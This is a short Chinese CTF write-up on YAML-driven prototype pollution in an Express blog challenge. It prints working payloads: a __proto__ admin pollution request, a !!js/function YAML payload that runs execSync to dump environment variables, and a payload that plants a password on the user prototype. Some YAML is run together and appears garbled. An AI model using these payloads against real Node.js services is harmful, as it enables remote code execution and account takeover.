yaml 导致的原型污染 -- GPN CTF 2025 Secure by Default
part 1
不难注意到,题目有一个危险的中间件,我们可以污染
req.body
// 创建Express应用
let app = express();
let bodyParser = require('body-parser');
// 使用body-parser中间件解析text类型的请求体
app.use(bodyParser.text({ type: 'application/x-yaml' }));
// 自定义中间件,处理content-type为application/x-yaml的请求
app.use((req, res, next) => { if (req.headers['content-type'] === 'application/x-yaml') { req.body = yaml.load(req.body, {}); // 将YAML格式的请求体解析为JS对象 } next();
})
POST /edit-blogs HTTP/1.1
Host: 127.0.0.1:1337
Content-Type: application/x-yaml
Content-Length: 25__proto__:admin: true
此处的unsafe运行我们加载任意函数
username: test
password: test
blogs:my-cool-blog:posts:- content: aelmoslug:match: !!js/function "function() {return 1}"toString: !!js/function "function() {return process.mainModule.require('child_process').execSync('env | grep FLAG').toString() }"
part 2
此处禁止使用自定义函数,这意味着我们不能再直接创建新函数执行任意代码
CMD ["node", "--disallow-code-generation-from-strings", "."]
这下我们只能利用原型污染为管理员增加密码来得到flag了
// set to both ID and slug for posts without slugsfor (let postId in newPosts) {if (postId === "__proto__") return res.status(400).send("Invalid post slug");let post = newPosts[postId];if (typeof post.content !== "string") return res.status(400).send("Invalid post content");blog[postId] = blog[post.slug] = post.content}}
我们需要找到一个方法给admin一个password
trick:yml本身存在原型污染漏洞
username: "test"
password: "test"
blogs:__proto__: __proto__:posts:password:content: "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"__proto__: []
postid仅仅不能是
__proto__
但是可以是password,现在user的原型上将多出一个password
放暑假了,这周末打谷歌。预告一下 下周发谷歌web方向所有的复现